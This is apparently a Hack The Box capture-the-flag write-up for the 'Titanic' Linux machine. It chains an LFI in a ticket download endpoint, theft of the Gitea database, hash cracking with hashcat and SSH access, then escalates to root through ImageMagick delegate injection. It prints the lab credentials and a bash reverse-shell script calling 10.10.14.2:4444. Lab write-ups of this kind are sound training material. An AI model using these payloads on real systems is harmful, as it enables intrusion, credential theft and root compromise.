> m4rt@CTF_ARCHIVE:~$

Hack The Box / LINUX / 2025-02-22

Hack The Box — Titanic (Linux)

LFI in ticket download leaks Gitea data, password recovery gives SSH as developer, and ImageMagick delegate injection in a root-run script yields root shell.

Target

  • IP: 10.129.231.221

Recon

sudo nmap -sC -sV 10.129.231.221 -p- -T5 -v
PORT     STATE    SERVICE   VERSION
22/tcp   open     ssh       OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp   open     http      Apache httpd 2.4.52
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3200/tcp filtered tick-port
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add titanic.htb to /etc/hosts.

Go to http://titanic.htb/.

From headers we notice the web app is built with Python.

Click Book now.

Submit random data.

Intercept the request.

Send it to Repeater.

A POST request is made to /book.

Send it.

In the response we are redirected to:

/download?ticket=48cf73a3-6fa1-443c-ba32-ee402b218d6a.json

Send that request to Repeater again.

Follow redirection in one of the tabs.

In one tab we now have the /download request.

Change ticket parameter to:

ticket=/etc/passwd

Send the request.

We get /etc/passwd.

There is an LFI (Local File Inclusion).

We notice user developer.

ffuf -u 'http://titanic.htb/' -H 'Host: FUZZ.titanic.htb' -w /home/kali/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 -fw 20
dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 63ms]

Add dev.titanic.htb to /etc/hosts.

Go to http://dev.titanic.htb/.

It is Gitea version 1.22.1.

In Explore, there are two repositories: docker-config and flask-app.

Clone them.

git clone http://dev.titanic.htb/developer/docker-config.git
git clone http://dev.titanic.htb/developer/flask-app.git

In docker-config, in docker-compose.yml under mysql we get credentials:

      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets 
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password

In docker-compose.yml under gitea we notice the Gitea path:

    volumes:
      - /home/developer/gitea/data:/data # Replace with your path

To better understand which files to retrieve with LFI, we can run the Gitea docker-compose.

docker compose up

It creates /home/developer on our machine (you can remove it later).

cd /home/developer
tree
.
└── gitea
    └── data
        ├── git
        ├── gitea
        │   ├── conf
        │   │   └── app.ini
        │   └── log
        └── ssh  [error opening dir]

We see config file path:

/home/developer/gitea/data/gitea/conf/app.ini

Retrieve /home/developer/gitea/data/gitea/conf/app.ini using the LFI.

Inside we notice:

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD = 
LOG_SQL = false
SCHEMA = 
SSL_MODE = disable

Use LFI again to retrieve:

/home/developer/gitea/data/gitea/gitea.db

In Burp, right-click response --> Copy to file, save as gitea.db.

vim gitea.db

Remove initial unrelated bytes/lines.

sqlite3 gitea.db
.tables
select * from users
1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|root@titanic.htb|0|0|0|0|0|0|0|0|0||gitea-auto|0
2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|developer@titanic.htb|0|0|0|0|2|0|0|0|0||gitea-auto|0
perl -e 'print pack ("H*", "e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56")' | base64
5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
python3
import base64
base64.b64encode(bytes.fromhex('8bf3e3452b78544f8bee9400d6936d34'))
i/PjRSt4VE+L7pQA1pNtNA==

Build final hash:

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

Put it in a file hash.

hashcat -a 0 -m 10900 ./hash ./rockyou.txt

We get:

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
ssh developer@titanic.htb

Enter password 25282528.

cat /opt/scripts/identify_images.sh

We get:

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

We can assume root executes this script.

Check ImageMagick version:

magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

There is a vulnerability:

https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

Create file /dev/shm/rev with content:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.2/4444 0>&1

Make it executable:

chmod +x /dev/shm/rev

Now run:

cd /opt/app/static/assets/images
cat << EOF > ./delegates.xml
<delegatemap><delegate xmlns="" decode="XML" command="/dev/shm/rev"/></delegatemap>
EOF

Then run:

touch -- ' delegates.xml .jpg'

Wait.

We get a reverse shell as root.